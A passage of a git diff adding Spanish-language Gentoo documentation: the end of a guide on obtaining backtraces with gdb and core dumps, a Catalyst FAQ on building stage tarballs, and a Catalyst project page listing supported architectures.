+</p>
+
+<p>
+Con <e>splitdebug</e> activado, Portage recortará los binarios instalados en
+el sistema. Pero antes de hacer esto, toda la información de depuración que
+sea de utilidad es copiada al fichero ".debug", que es luego instalado
+dentro de <path>/usr/lib/debug</path> (el nombre completo del fichero se
+obtendría añadiendo a éste el camino donde el fichero es instalado
+realmente). El camino a este fichero es entonces guardado en el fichero
+original dentro de una sección ELF llamada ".gnu_debuglink", de modo que
+<c>gdb</c> sepa desde que fichero tiene que cargar los símbolos.
+</p>
+
+<impo>
+Si se activan ambas características <e>nostrip</e> y <e>splitdebug</e>,
+Portage no recortará los binarios de ninguna forma, de modo que se debe que
+prestar especial atención a lo que se quiere hacer.
+</impo>
+
+<p>
+Otra ventaja de <e>splitdebug</e> es que no requiere la reconstrucción de
+los paquetes para deshacerse de la información de depuración. Esto es útil
+cuando se construyen algunos paquetes con depuración para obtener una traza
+de un sólo error. Una vez este error está subsanado, simplemente se necesita
+eliminar el directorio <path>/usr/lib/debug</path>.
+</p>
+
+<p>
+Para asegurarse de que no se recortan los binarios, deberá también
+asegurarse de que tiene activado el ajuste <c>-s</c> en su LDFLAGS. Esto le
+indica al enlazador que debe recortar los binarios resultantes en la fase de
+enlazado. También note que usando este ajuste puede desembocar en problemas
+futuros. No se respetarán las restricciones impuestas por algunos paquetes
+que dejan de funcionar cuando son recortados completamente.
+</p>
+
+<note>
+Algunos paquetes desafortunadamente manejan el recorte por sí mismos, dentro
+de los ficheros makefile suministrados por el equipo de desarrollo. Esto es
+un error y debe ser notificado. Todos los paquetes deben dejar a Portage la
+tarea de hacer el recorte, o no permitir el recorte de ningún modo. La
+principal excepción a esto son los paquetes binarios. Son normalmente
+recortados por el equipo de desarrollo del paquete fuera del control de
+Portage.
+</note>
+
+</body>
+
+</section>
+
+<section><!-- debug USE flag -->
+
+<title>Ajuste USE debug</title>
+
+<body>
+
+<p>
+Algunos ebuild proporcionan un ajuste USE <b>debug</b>. Aunque algunos lo
+usan de forma incorrecta para ofrecer información de depuración y juegan con
+los ajustes del compilador cuando el ajuste está activado, éste no es su
+propósito.
+</p>
+
+<p>
+Si está tratando de depurar un error de ejecución que se puede reproducir,
+se deberá dejar sólo este ajuste USE, ya que estará construyendo una fuente
+diferente de la que tenía previamente. Es más eficiente obtener en primer
+lugar una traza sin cambiar el código, simplemente omitiendo la información
+de símbolos y justo después de activar las características de depuración
+para hacer un seguimiento del problema más adelante.
+</p>
+
+<p>
+La características de depuración son activadas mediante las aserciones en
+los ficheros de cabecera, registros de depuración en la pantalla, ficheros
+de depuración, detección de goteras (leaks) y operaciones con seguridad
+extra (como por ejemplo la limpieza de memoria antes de su uso). Algunos
+pueden ser complicados, especialmente en software complejo o en el cual el
+rendimiento es una cuestión importante.
+</p>
+
+<p>
+Por estas razones, por favor, tenga cuidado cuando active el ajuste USE
+<b>debug</b>, y considérelo como el último recurso.
+</p>
+
+</body>
+
+</section>
+
+<section><!-- Introducing gdb -->
+
+<title>Introducción a gdb</title>
+
+<body>
+
+<p>
+Una vez construidos los paquetes con información de depuración y no son
+recortados, simplemente necesita obtener la traza. Para ello, necesitará el
+paquete <path>sys-devel/gdb</path>. Contiene el depurador GNU
+(<c>gdb</c>). Después de instalarlo, podrá obtener la traza. La forma más
+simple de obtnerla es ejecutar el programa dentro de <c>gdb</c>. Para ello,
+necesitará apuntar <c>gdb</c> al camino del programa a ejecutar, darle los
+argumentos que necesite y ejecutarlo:
+</p>
+
+<pre caption="Corriendo ls a través de gdb">
+$ <i>gdb /bin/ls</i>
+GNU gdb 6.4
+[...]
+
+(gdb) <i>set args /usr/share/fonts</i>
+(gdb) <i>run</i>
+Starting program: /bin/ls /usr/share/fonts
+[Thread debugging using libthread_db enabled]
+[New Thread 47467411020832 (LWP 11100)]
+100dpi  aquafont     baekmuk-fonts  cyrillic  dejavu     fonts.cache-1  kochi-substitute  misc  xdtv
+75dpi   arphicfonts  CID            default   encodings  fonts.dir      mikachan-font     util
+
+Program exited normally.
+(gdb)
+</pre>
+
+<p>
+El mensaje "Program exited normally" (el programa terminó correctamente),
+indica que el programa acabó devolviendo el código de salida 0. Esto
+significa que no se produjo ningún error. No debe fiarse mucho de esto ya
+que hay programas que devuelven 0 cuando alcanzan una condición de
+error. Otro mensaje común es "Program exited with code <e>nn</e>" (el
+programa terminó con código <e>nn</e>). Esto simplemente le indica que
+código de estado distinto de cero ha devuelto el programa. Esto puede
+implicar una condición de error manejada o esperada. Para fallos de segmento
+y abortos en la ejecución puede que obtenga el mensaje "Program received
+signal SIGsomething" (el programa recibió la señal SIGalgo).
+</p>
+
+<p>
+Cuando un programa recibe una señal, puede ser por varias razones. En el
+caso de SIGSEGV y SIGABRT (fallo de segmento y aborto en la ejecución
+respectivamente), normalmente significa que el código está haciendo algo
+incorrecto como una llamada al sistema inválida o acceder a memoria a través
+de un puntero roto. Otras señales comunes son: SIGTERM, SIGQUIT y SIGINT (la
+última se recibe cuando se envía CTRL-C al programa y normalmente es
+capturada por <c>gdb</c> e ignorada por el programa).
+</p>
+
+<p>
+Finalmente hay una serie de "Eventos de tiempo real". Se nombran como
+SIG<e>nn</e> siendo <e>nn</e> un número mayor que 31. La implementación
+pthread normalmente usa estos eventos para sincronizar los diferentes hilos
+del programa, y así no se presentan condiciones de error de ningún tipo. Es
+fácil ofrecer trazas sin sentido cuando se confunden las señales de tiempo
+real con las condiciones de error. Para evitar esto, puede indicar a
+<c>gdb</c> que no pare cuando éstas se reciben, y en lugar de ésto, pasarlas
+directamente al programa como en el ejemplo siguiente.
+</p>
+
+<pre caption="Corriendo xine-ui a través de gdb, ignorando las señales de tiempo real.">
+$ <i>gdb /usr/bin/xine</i>
+GNU gdb 6.4
+[...]
+
+(gdb) <i>run</i>
+Starting program: /usr/bin/xine
+[...]
+
+Program received signal SIG33, Real-time event 33.
+[Switching to Thread 1182845264 (LWP 11543)]
+0x00002b661d87d536 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/libpthread.so.0
+(gdb) <i>handle SIG33 nostop noprint noignore pass</i>
+Signal        Stop      Print   Pass to program Description
+SIG33         No        No      Yes             Real-time event 33
+(gdb) <i>kill</i>
+Kill the program being debugged? (y or n) <i>y</i>
+(gdb) <i>run</i>
+</pre>
+
+<p>
+El comando <c>handle</c> indica a <c>gdb</c> qué debe hacer cuando la señal
+dada es enviada al programa; en este caso los ajustes son <c>nostop</c> (no
+parar el programa, devolviendo el comando al depurador), <c>noprint</c> (no
+molestarse en imprimir la recepción de la señal recibida), <c>noignore</c>
+(no ignorar la señal &#8212; ignorar señales es peligroso, ya que implica
+descartarlas sin pasarlas al programa), <c>pass</c> (pasar las señal al
+programa en depuración).
+</p>
+
+<p>
+Después de que los eventuales eventos en tiempo real son ignorados por
+<c>gdb</c>, deberá intentar reproducir el error que desea reportar. si lo
+puede reproducir de forma sistemática, entonces es muy fácil. Cuando
+<c>gdb</c> indica que el programa ha recibido las señales SIGSEGV o SIGABRT
+(o cualquier otra señal que pueda representar una condición de error en el
+programa), tendrá que generar la traza, posiblemente guardándola en algún
+lugar. El comando básico para hacerlo es <c>bt</c>, que es la abreviatura de
+<c>backtrace</c>, este comando muestra la traza del hilo de ejecución actual
+(si el programa tiene un solo hilo, entonces hay un solo hilo de ejecución).
+</p>
+
+<p>
+Un comando alternativo para obtener una traza más detallada es <c>bt
+full</c>. Este comando ofrece información sobre parámetros y variables
+locales de la función en la que las llamadas son realizadas (siempre que
+estén disponibles y no hayan sido eliminadas por el uso de
+optimizaciones). Esto hace que la traza sea más larga, pero más útil a la
+hora de encontrar, por ejemplo, porqué un puntero no se ha inicializado.
+</p>
+
+<p>
+Finalmente, no es extraño que incluso los programas más simples sean
+escritos con múltiples hilos de ejecución. En estos casos usar la salida de
+un simple <c>bt</c>, aunque tiene sentido, no tiene ninguna utilidad, ya que
+puede representar el estado de un hilo de ejecución diferente al hilo en el
+que se ha generado la señal o en el que la condición de error se ha
+manifestado (en caso que haya otro hilo responsable de generar señales). Por
+esta razón, debe en su lugar obtener la traza con el comando <c>thread apply
+all bt full</c> (más largo), que indica a la depuración que imprima la traza
+completa de todos los hilos que se estén ejecutando en ese momento.
+</p>
+
+<p>
+Si la traza es corta, es fácil copiar y pegarla fuera del terminal (a menos
+que el fallo suceda en un terminal sin X). En la mayoría de los casos es tan
+larga que no puede ser copiada fácilmente ya que se extiende a través de
+varias páginas. Para poder obtener trazas en un fichero con la intención de
+adjuntarlo a un informe de error, se debe usar la característica
+<c>logging</c>:
+</p>
+
+<pre caption="Usando la característica logging para guardar la traza a un fichero.">
+$ <i>gdb /usr/bin/xine</i>
+GNU gdb 6.5
+[...]
+
+(gdb) <i>run</i>
+[...]
+
+(gdb) <i>set logging file backtrace.log</i>
+(gdb) <i>set logging on</i>
+Copying output to backtrace.log.
+(gdb) <i>bt</i>
+#0  0x0000003000eb7472 in __select_nocancel () from /lib/libc.so.6
+...
+(gdb) <i>set logging off</i>
+Done logging to backtrace.log.
+(gdb) <i>quit</i>
+</pre>
+
+<p>
+Ahora puede obtener la traza en el fichero <path>backtrace.log</path> y
+simplemente enviarla por correo electrónico o adjuntar el fichero al informe
+de error relacionado.
+</p>
+
+</body>
+</section>
+
+<section><!-- Core dumps -->
+
+<title>Volcados Core</title>
+
+<body>
+
+<p>
+En algunas ocasiones, los errores de ejecución son difíciles de reproducir,
+el programa tienes muchos hilos y es muy lento ejecutarlo en <c>gdb</c> o
+está embrollado cuando se realiza la ejecución con el depurador (no debería
+sorprender a nadie que al realizar las ejecuciones dentro del depurador se
+muestran más errores que al tratar de reproducirlos sin el depurador). En
+estos casos hay una herramienta que se muestra muy útil: el volcado core.
+</p>
+
+<p>
+Un volcado core es un fichero que contiene todo el área de memoria de un
+programa cuando éste ha fallado. Usando este fichero es posible extraer la
+traza de la pila, incluso si el programa ha fallado fuera de <c>gdb</c>,
+asumiendo que los volcados core están activados. Por defecto, los volcados
+core no están activados en Gentoo Linux (sin embargo, son activados por
+defecto en <uri link="http://www.gentoo.org/proj/en/gentoo-alt/bsd/fbsd/">
+Gentoo/FreeBSD</uri>), por lo que tendrá que activarlos.
+</p>
+
+<p>
+Los ficheros de volcado core son generados directamente por el núcleo; por
+esta razón, el núcleo necesita tener esta característica activada en el
+momento de su construcción para que funcione correctamente. Normalmente las
+configuraciones por defecto del núcleo activan los ficheros de volcado
+core. Si está corriendo un núcleo incrustado, o ha configurado la sección
+standard kernel features (características estándar del núcleo), debería
+verificar las siguientes opciones:
+</p>
+
+<note>
+Puede saltarse este paso si no ha activado la opción “Configure standard
+kernel features en ningún momento, lo cual no debería hacerlo si no sabe si
+lo hizo o no.
+</note>
+
+<pre caption="Opciones del núcleo para activar los volcados core">
+General Setup ---&gt;
+   Configure standard kernel features ---&gt;
+      Enable ELF core dumps
+</pre>
+
+<p>
+Los volcados core pueden ser activados al nivel de sistema o al nivel de
+sesión del intérprete de comandos. En el primer caso, todo en el sistema que
+produzca un error de ejecución y no tenga un manejador de ese error (mire
+más abajo algunas notas sobre el manejador de errores de KDE) será
+volcado. Cuando se activa al nivel de sesión, únicamente los programas que
+sean ejecutados en esa sesión generarán un volcado.
+</p>
+
+<p>
+Para activar los volcados core al nivel de sistema, tendrá que editar, bien
+<path>/etc/security/limits.conf</path> (si está usando PAM, situación por
+defecto), bien <path>/etc/limits.conf</path>. En el primer caso, debe
+definir un límite (hardware o más comúnmente software; para ficheros core,
+el cual puede ser cualquiera entre 0 y ningún límite). En el último caso,
+simplemente necesita definir la variable C al tamaño límite de un fichero
+core (aquí no existe "ilimitado").
+</p>
+
+<pre caption="Ejemplo de regla para obtener ficheros core ilimitados cuando se usa PAM">
+# /etc/security/limits.conf
+*             soft      core       unlimited
+</pre>
+
+<pre caption="Ejemplo de regla para obtener ficheros core de hasta 20 MB cuando no se usa PAM">
+# /etc/limits.conf
+*       C20480
+</pre>
+
+<p>
+Para activar fichero core en una sesión simple del intérprete de comandos
+puede usar el comando <c>ulimit</c> con la opción <c>-c</c>. 0 indica
+desactivado; cualquier otro número positivo es el tamaño en KB del fichero
+core generado, mientras que <e>unlimited</e> simplemente elimina el límite
+en las dimensiones de los ficheros core. A partir de ese momento, todos los
+programas que terminen como resultado de una señal como SIGABRT or SIGSEGV
+dejarán un fichero core que puede llamarse "core" o "core.<e>pid</e>" (donde
+pid es reemplazado por el identificador de proceso del programa que murió).
+</p>
+
+<pre caption="Ejemplo de uso de ulimit">
+$ <i>ulimit -c unlimited</i>
+$ <i>crashing-program</i>
+[...]
+Abort (Core Dumped)
+$
+</pre>
+
+<note>
+El comando <c>ulimit</c> es un comando interno en bash y zsh. En otros
+intérpretes de comandos puede tener otro nombre o incluso no estar
+disponible.
+</note>
+
+<p>
+Después de obtener un volcado core, puede ejecutar <c>gdb</c> sobre él,
+especificando tanto el fichero que generó el volcado core (tiene que ser
+exactamente el mismo binario, por lo que si recompila, el volcado core es
+inútil) y el camino al fichero core. Una vez que haya abierto <c>gdb</c>
+sobre él, puede seguir las mismas instrucciones detalladas arriba tal y como
+si se hubiera recibido la señal que mata el proceso en ese preciso instante.
+</p>
+
+<pre caption="Arrancado gdb con un fichero core">
+$ <i>gdb $(el programa que murió) --core core</i>
+</pre>
+
+<p>
+Como alternativa, puede usar la capacidades de línea de comandos de
+<c>gdb</c> para obtener la traza sin entrar en modo interactivo. Esto
+también hace más fácil guardar la traza en un fichero o enviarla a una
+tubería (pipe) de cualquier tipo. El truco están en las opciones
+<c>--batch</c> y <c>-ex</c> que son aceptadas por <c>gdb</c>. Puede usar la
+siguiente función bash para obtener la traza completa de un volcado core
+(incluyendo todos los hilos de ejecución) en la salida estándar.
+</p>
+
+<pre caption="Función para obtener la traza completa de un volcado core">
+gdb_get_backtrace() {
+    local exe=$1
+    local core=$2
+
+    gdb ${exe} \
+        --core ${core} \
+        --batch \
+        --quiet \
+        -ex "thread apply all bt full" \
+        -ex "quit"
+}
+</pre>
+
+</body>
+
+</section>
+
+<section><!-- KDE crash handler's notes -->
+
+<title>Notas acerca del manejador de errores de ejecución de KDE</title>
+
+<body>
+
+<p>
+La aplicaciones basadas en KDE se ejecutan por defecto con su propio
+manejador de errores de ejecución, el cual es presentado al usuario como
+"Dr. Konqi" si está instalado (el paquete es <path>kde-base/kdebase</path> o
+<path>kde-base/drkonqi</path> (incluido en <path>kdebase-meta</path>). Este
+manejador de errores de ejecución muestra al usuario un diálogo informativo
+de que el programa ha fallado. En este diálogo hay una pestaña "Backtrace"
+(traza) que cuando es cargada llama a <c>gdb</c> y hace que éste cargue los
+datos y genere la traza completa en representación del usuario, mostrándola
+en la caja de texto principal y permitiendo que ésta sea salvada
+directamente a un fichero. Esa traza, normalmente, es suficientemente buena
+para informar de un problema.
+</p>
+
+<p>
+Cuando drkonqi no está instalado, los errores de ejecución no generarán un
+volcado core, y el usuario no recibirá ninguna información por defecto. Para
+evitar esto, es posible usar el argumento <c>--nocrashhandler</c> en todas
+las aplicaciones basadas en KDE. Esto desactivará el gestor de errores de
+ejecución completamente y dejará que las señales sean gestionadas por el
+sistema operativo como es normal. Esto es útil para generar ficheros core
+cuando drkonqi no está disponible o cuando se desea inspeccionar las trazas
+de la pila a mano.
+</p>
+
+</body>
+
+</section>
+
+<!-- TODO
+     - add notes about GNOME's crash handler
+     - add notes about renaming core dump files
+-->
+
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
+
diff --git a/xml/htdocs/proj/es/releng/catalyst/faq.xml b/xml/htdocs/proj/es/releng/catalyst/faq.xml
new file mode 100644
index 00000000..b7799a77
--- /dev/null
+++ b/xml/htdocs/proj/es/releng/catalyst/faq.xml
@@ -0,0 +1,201 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/es/releng/catalyst/faq.xml" lang="es">
+
+<title>FAQ de Catalyst</title>
+<author title="Author">John P. Davis</author>
+<author title="Author">Daniel Robbins</author>
+<author title="Contributor">William Kilian</author>
+<author title="Editor">Chris Gianelloni</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Preguntas frecuentes relacionadas con la herramienta Catalyst.
+</abstract>
+
+<version>1.1</version>
+<date>2008-02-05</date>
+
+<chapter>
+<title>Preguntas Frecuentes</title>
+
+<section>
+<title>¿Cómo construyo un tarball stage2 y stage3 para un tipo de CPU
+no genérico como pentium4?</title>
+<body>
+
+<p>
+En primer lugar, asegúrese de que su hardware es capaz de construir
+ese stage.  Si desea construir un stage <c>pentium4</c> necesitará
+construirlo en un sistema Pentium 4 o AMD64/Opteron (o superior). No
+puede construir un stage <c>pentium4</c> en un sistema Athlon XP, ya
+que las CPUs Athlon XP no soportan las instrucciones SSE2, y estas
+instrucciones se activan para los stages <c>pentium4</c>. Del mismo
+modo, si desea construir un stage <c>g4</c>, necesitará hacerlo en un
+sistema PowerPC G4 o G5.
+</p>
+
+<p>
+Una vez se haya asegurado de que está construyendo en el hardware
+correcto, simplemente siga los pasos de arriba. Para construir el
+stage2, simplemente cambie el ajuste <c>subarch</c> a una
+subarquitectura no genérica válida (p.e. <c>pentium4</c>). Entonces su
+stage2 será construido para la subarquitectura que especificó. A
+continuación, use este stage2 como el stage "semilla" para construir
+su stage3. Por supuesto, puede que quiera también modificar el ajuste
+<c>subarch</c> en su fichero spec del stage3 para que concuerde con el
+que usó en su fichero spec para el stage2.
+</p>
+</body>
+</section>
+
+<section>
+<title>Quiero construir unos cuantos stages para varias
+subarquitecturas.  ¿Cómo debo hacer esto?</title>
+<body>
+
+<p>
+En primer lugar, construya un stage1 genérico. Entonces use este
+stage1 para construir los stage2 y stage3 específicos. Use el stage1
+de nuevo para construir otro stage2 y stage2 específicos. No necesita
+reconstruir el stage1 -- todos sus stage2 y stage3 específicos pueden
+usar el mismo stage1 "semilla".
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Puedo construir un stage1 para un tipo de CPU no
+genérico?</title>
+<body>
+
+<p>
+Esto es muy mala idea, ya que los usuarios esperan que el stage1 va a
+funcionar en cualquier tipo de subarquitectura. De esta forma, pueden
+usar el stage1 en cualquier sistema sin preocuparse. Debe estar seguro
+de no "contaminar" su stage1 con código específico de una CPU no
+genérica. Siempre use un stage3 "genérico" como semilla para construir
+un nuevo stage1.
+</p>
+</body>
+</section>
+
+<section>
+<title>Creía que catalyst podía construir stages "desde cero". Si
+catalyst construye los stages desde cero, entonces ¿Porqué se necesita
+un "stage semilla"?
+</title>
+<body>
+
+<p>
+Buena pregunta. Como sabe, los stage2 y stage3 dependen de los stages
+previos para la construcción, la cual se especifica y define por su
+nombre (p.e.  un "stage2" implica que hubo un "stage1"). Sin embargo
+catalyst necesita un stage semilla para construir un stage1, por lo
+que en lo que a la construcción de un stage1 se refiere, merece la
+pena comprobar porque esto es necesario.  Cuando se construye un
+stage1, catalyst usa como semilla un stage3 para preparar un entorno
+chroot. Dentro de este entorno chroot, el nuevo stage1 es construido
+ajustando la variable de entorno <c>ROOT</c> a
+<path>/tmp/stage1root</path>. Esto ordena al gestor de paquetes que
+haga emerge de todos los nuevos paquetes, no en el sistema de ficheros
+actual, sino en el sistema de ficheros localizado en
+<path>/tmp/stage1root</path>.  Catalyst, entonces empaqueta
+<path>/tmp/stage1root</path> y éste se convierte en el stage1
+objetivo. Esto significa que cuando catalyst construye un stage1, el
+stage2 en sí mismo no hereda ningún binario ni librería del stage1
+semilla que ha usado. La semilla que se usa <e>afecta</e> al stage1
+destino de alguna forma -- Los ficheros cabecera de Linux en la
+semilla son usados para construir la librería glibc del stage1, y los
+compiladores presentes en la semilla son usados para compilar todos
+los programas en el stage1. El stage semilla es usado para aislar el
+proceso de construcción del stage1 de su sistema local, y también
+permite, por ejemplo, construir stage1 para x86 en sistemas amd64.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Existe un HOWTO oficial para Catalyst?</title>
+<body>
+
+<p>
+Actualmente, no hay un HOWTO oficial. Si está interesado en escribir
+uno, por favor, abra una incidencia con el HOWTO adjunto. Sin embargo,
+la falta de un HOWTO oficial no significa que catalyst este
+completamente indocumentado.  Cuando se hace emerge de catalyst, un
+conjunto bien comentado de ficheros spec ejemplo se instalan en
+<path>/usr/share/doc/catalyst-$version/examples</path>.
+</p>
+
+<p>
+Si aún tiene preguntas después de leer los ejemplos, suscríbase a la
+lista de correo gentoo-catalyst.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Dónde pongo los ajustes use, mask, etc. para cada
+paquete?</title>
+<body>
+
+<p>
+Catalyst soporta los ficheros de configuración presentes en
+/etc/portage.  Simplemente añada lo siguiente a su fichero spec, y
+asegúrese igualmente de que usa el mismo ajuste <c>portage_confdir</c>
+para sus stages semilla:
+</p>
+
+<p>
+portage_confdir: /camino/a/personal/etc/portage
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Debo realmente construir mi propio stage1 o simplemente usar
+uno de un servidor réplica de Gentoo?</title>
+<body>
+
+<p>
+La mejor práctica es construir <b>siempre</b> sus propios stages si no
+está usando la misma instantánea (snapshot) que fue utilizada para
+construir la última release. El estado del árbol de Portage depende
+mucho de sí mismo. Si dispone de un stage1 de hace 3 meses, es muy
+probable que tenga problemas con paquetes que bloquean a otros y
+cambios en el árbol que causarán que la construcción dé problemas de
+compatibilidad.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Cómo mantengo mis paquetes GRP/stages/LiveCD
+actualizados?</title>
+<body>
+
+<p>
+Catalyst usa Portage para todo el trabajo de construcción, de este
+modo lo único que debe hacer es regenerar su instantánea de Portage y
+reconstruir su GRP/stages/LiveCD. Portage seguirá todas sus reglas
+normalmente para decidir qué paquetes deben ser actualizados.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Usa Catalyst alguna sintaxis de ajustes USE especial?</title>
+<body>
+
+<p>
+No, la sintaxis de los ajustes USE en catalysts es exactamente la
+misma que en portage.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/releng/catalyst/index.xml b/xml/htdocs/proj/es/releng/catalyst/index.xml
new file mode 100644
index 00000000..75820d1f
--- /dev/null
+++ b/xml/htdocs/proj/es/releng/catalyst/index.xml
@@ -0,0 +1,218 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+<name>Catalyst</name>
+<longname>Catalyst</longname>
+
+<description>
+Este proyecto desarrolla la herramienta catalyst, la cual es usada
+para construir los stage tarballs, PackageCD y las imágenes InstallCD
+y LiveCD oficiales de Gentoo.
+</description>
+
+<longdescription>
+<p>
+El proyecto Gentoo catalyst desarrolla y da soporte a la herramienta
+de construcción de releases catalyst. El diseño de catalyst se centra
+en la facilidad de uso, configuración y mantenimiento. Se usa también
+en otros proyectos Gentoo como GNAP.</p>
+</longdescription>
+
+<goals>
+<p>
+El objetivo del proyecto catalyst es proporcionar una herramienta
+sencilla con muchas características, que pueda construir de forma
+eficaz todos los aspectos de una release de Gentoo Linux: stage
+tarballs, conjuntos de paquetes GRP, y CDs de instalación.
+</p>
+
+<p>
+Nuestros objetivos específicos de desarrollo para <c>catalyst</c>
+incluyen los siguientes: Asegurarse de que proporciona construcciones
+de Gentoo Linux de alta calidad y para la herramienta que sea fácil de
+usar, configurar, ampliar y mantener. La herramienta catalyst está
+pensada para ser usada por aquellos que deseen crear su propias
+versiones personalizadas de Gentoo Linux o sus propios LiveCDs
+personalizados. Nuestro objetivo es hacer de catalyst una herramienta
+poderosa cuyo uso sea agradable y asegurar que el código que
+escribimos es mantenible y de alta calidad.
+</p>
+</goals>
+
+<extrachapter position="top">
+<title>Documentación</title>
+<section>
+<body>
+
+<p>
+Las <uri link="faq.xml">FAQ</uri> de catalyst intentan contestar
+preguntas comunes relacionadas con catalyst y su uso.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Arquitecturas soportadas</title>
+<section>
+<body>
+
+<p>
+Catalyst soporta varias arquitecturas. En el lenguaje de catalyst, una
+"arquitectura" es un tipo general de CPU. Aquí se muestra una lista
+completa de arquitecturas soportadas por catalyst:
+</p>
+
+<table>
+<tr>
+<th>Arquitectura</th>
+<th>Descripción</th>
+</tr>
+<tr>
+<ti><c>alpha</c></ti>
+<ti>El procesador Alpha (todas las versiones)</ti>
+</tr>
+<tr>
+<ti><c>amd64</c></ti>
+<ti>La plataforma de 64 bits de AMD, también conocida como "Opteron" o
+"x86-64". También incluyen las máquinas de Intel EM64T.</ti>
+</tr>
+<tr>
+<ti><c>arm</c></ti>
+<ti>Procesadores basados en ARM</ti>
+</tr>
+<tr>
+<ti><c>hppa</c></ti>
+<ti>Sistemas PA-RISC de HP</ti>
+</tr>
+<tr>
+<ti><c>ia64</c></ti>
+<ti>Plataforma Itanium de 64 bits de Intel (Itanium Classic e Itanium
+2)</ti>
+</tr>
+<tr>
+<ti><c>mips</c></ti>
+<ti>Sistemas basados en MIPS</ti>
+</tr>
+<tr>
+<ti><c>ppc</c></ti>
+<ti>Plataformas de 32 bits PowerPC, incluyendo los sistemas originales
+PowerPC y los G3, G4 y G5 de Apple en modo 32 bits</ti>
+</tr>
+<tr>
+<ti><c>ppc64</c></ti>
+<ti>Plataformas PowerPC de 64 bits, incluyendo los power chips de IBM
+y el G5 de Apple en modo 64 bits</ti>
+</tr>
+<tr>
+<ti><c>s390</c></ti>
+<ti>Plataformas IBM S/390, incluyendo las máquinas zSeries</ti>
+</tr>
+<tr>
+<ti><c>sh</c></ti>
+<ti>Sistemas basados en SuperH de 32 bits</ti>
+</tr>
+<tr>
+<ti><c>sparc</c></ti>
+<ti>Sistemas basados en Sparc de 32 bits</ti>
+</tr>
+<tr>
+<ti><c>sparc64</c></ti>
+<ti>Sistemas basados en Sparc de 64 bits</ti>
+</tr>
+<tr>
+<ti><c>x86</c></ti>
+<ti>CPU compatible Intel de 32 bits, desde el i386 a los Pentium 4 y
+Athlon XP.</ti>
+</tr>
+</table>
+
+<p>
+Para cada arquitectura, catalyst soporta un número de
+"sub-arquitecturas."  Una sub-arquitectura es una variante específica
+de la arquitectura. Por ejemplo <c>pentium4</c> es una
+sub-arquitectura de la arquitectura <c>x86</c>. A continuación se
+muestra una lista de todas las subarquitecturas soportadas por
+catalyst:
+</p>
+
+<table>
+<tr>
+<th>Arquitectura</th>
+<th>Sub-arquitecturas</th>
+</tr>
+<tr>
+<ti><c>alpha</c></ti>
+<ti><c>alpha ev4 ev45 ev5 ev56 pca56 ev6 ev67</c></ti>
+</tr>
+<tr>
+<ti><c>amd64</c></ti>
+<ti><c>amd64</c></ti>
+</tr>
+<tr>
+<ti><c>arm</c></ti>
+<ti><c>arm</c></ti>
+</tr>
+<tr>
+<ti><c>hppa</c></ti>
+<ti><c>hppa</c></ti>
+</tr>
+<tr>
+<ti><c>ia64</c></ti>
+<ti><c>ia64</c></ti>
+</tr>
+<tr>
+<ti><c>mips</c></ti>
+<ti><c>mips mips1 mips2 mips3 mips4 mipsel mipsel1 mipsel2 mipsel3
+mipsel4 cobalt</c></ti>
+</tr>
+<tr>
+<ti><c>ppc</c></ti>
+<ti><c>ppc power-ppc g3 g4</c></ti>
+</tr>
+<tr>
+<ti><c>ppc64</c></ti>
+<ti><c>ppc64 power3 power4 power5 g5</c></ti>
+</tr>
+<tr>
+<ti><c>s390</c></ti>
+<ti><c>s390</c></ti>
+</tr>
+<tr>
+<ti><c>sparc</c></ti>
+<ti><c>sparc</c></ti>
+</tr>
+<tr>
+<ti><c>sparc64</c></ti>
+<ti><c>sparc64</c></ti>
+</tr>
+<tr>
+<ti><c>x86</c></ti>
+<ti><c>x86 i386 i486 i586 i686 pentium-mmx athlon athlon-xp athlon-mp
+pentium3 pentium4</c></ti>
+</tr>
+</table>
+
+<p>
+Comprobará que todas las arquitecturas tienen una sub-arquitectura con
+el mismo nombre que la arquitectura. Esta sub-arquitectura está
+pensada para representar una construcción "genérica" que debería
+funcionar en todos los sistemas basados en esa arquitectura. Cada
+sub-arquitectura tiene asociada un conjunto de <c>CFLAGS</c>,
+<c>CXXFLAGS</c>, así como un <c>CHOST</c> y un conjunto de variables
+<c>USE</c> que son activadas en esa sub-arquitectura.  Los ajustes
+<c>USE</c> están pensados para activar cualquier opción específica de
+la CPU como <c>mmx</c> o <c>altivec</c>.
+</p>
+
+<note>
+Catalyst actualmente también soporta la capacidad de construir stages
+de la arquitectura <c>x86</c> en sistemas <c>amd64</c>.
+</note>
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/es/site.xml b/xml/htdocs/proj/es/site.xml
new file mode 100644
index 00000000..9051fcbb
--- /dev/null
+++ b/xml/htdocs/proj/es/site.xml
@@ -0,0 +1,89 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/site.xml,v 1.6 2010/05/24 19:50:18 nimiux Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/site.xml" type="project" lang="es">
+<title>Página de proyectos XML</title>
+
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Traductor">
+  <mail link="pdmp@interhoster.com">Pedro Del Medico P.</mail>
+</author>
+<author title="Traductor">
+  <mail link="bass@gentoo.org">José Alberto Suárez López</mail>
+</author>
+<author title="Editor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
